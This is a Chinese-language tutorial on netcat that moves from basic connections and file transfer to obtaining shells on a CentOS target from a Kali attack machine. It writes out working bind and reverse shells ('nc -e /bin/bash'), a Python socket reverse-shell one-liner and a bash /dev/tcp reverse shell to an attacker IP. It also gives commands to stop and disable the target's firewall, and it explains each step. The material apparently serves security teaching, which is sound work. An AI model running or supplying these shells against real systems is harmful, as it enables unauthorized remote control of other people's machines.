一、netcat简介
netcat,我们也叫它NC,它被称为网络工具中的瑞士军刀,体积小巧,但功能强大。
Nc主要功能是:
nc可以在两台设备上面相互交互,即侦听模式/传输模式,Telnet功能,获取banner信息,传输文本信息,传输文件/目录,加密传输文件,默认不加密,远程控制,加密所有流量,流媒体服务器,远程克隆硬盘等等功能。
二、netcat基础参数
nc的使用非常简单,我们只需要在终端 输入 nc 就可以了,第一次使用 nc 的时候,我们可以输入 nc -h 这个命令查看 nc 一些参数的使用方法。例如,
这里我挑一些重点参数来给你们介绍:
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能域名服务器
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
三、netcat的基本使用方法
基本使用格式:
nc [-options] hostname port[s][ports]
nc -l -p port [options][hostname] [port]
1、实现连接通讯
注意:
以下所说的客户端,服务端
客户端(攻击机)是kali,
服务器端(靶机)是centos
服务端 监听端口 nc -lnvp/lvp 端口
客户端 连接端口 nc ip 端口
代表监听本地的端口输出结果
2、传输文件内容
服务端:nc -lvp 6666 >2.txt
客户端:nc ip 端口 <2.txt
四、Netcat反弹shell的四种方式
1、正向shell反弹
如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell。那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。下面我们通过一个案例让同学们更好理解正向shell反弹。
注意:
客户端(攻击机)是kali,
服务器端(靶机)是centos
正向shell(环境kali 、centos)
Kali:nc ip 端口
Centos:nc -lvp 6666 -e /bin/bash
注意:
这里centos的防火墙得关了,要不然连不上。
关闭防火墙的命令:
临时关闭,代码为【systemctl stop firewalld】;
禁止开机启动,代码为【systemctl disable firewalld】。
2、反向shell反弹
我们学习了正向shell反弹之后,现在学习反正shell就易如反掌了。那么什么是反向shell呢。其实就是反过来对吧。如果是客户端连接服务器端,服务器端想要获取客户端的shell,那么称为反向shell。
反向shell(环境kali 、centos)
Kali:nc -lvp 6666
Centos:nc ip 端口 -e /bin/bash
3、python反弹shell
因为我们不能确保对方有nc环境 ,所以,可以利用一些python脚本结合nc去反弹到shell。
利用python反弹shell
Kali服务端:nc -lvnp 6666
Centos客户端:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.42",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4、bash反弹shell
我个人感觉bash反弹是最简单、也是最常见的一种。
利用bash反弹shell
Kali服务端:nc -lvnp 6666
centos客户端:bash -i >& /dev/tcp/192.168.3.42/6666 0>&1
kali就成功拿到权限了
考虑到有些同学不太理解bash一句话命令,所以我针对bash反弹一句话进行了拆分说明。
bash一句话命令详解:
就是将受害者的标准输出和错误输出都重定向给攻击者的机器,并且将攻击者的输入都重定向给受害者的机器,通过/dev/tcp/ip/port这个特殊的设备文件建立端口连接来传送数据。包括交互式的shell。
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机6666端口建立的连接(即TCP 6666 会话连接)相结合,然后在重定向个tcp 6666会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
在反弹shell时要借助netcat工具反弹。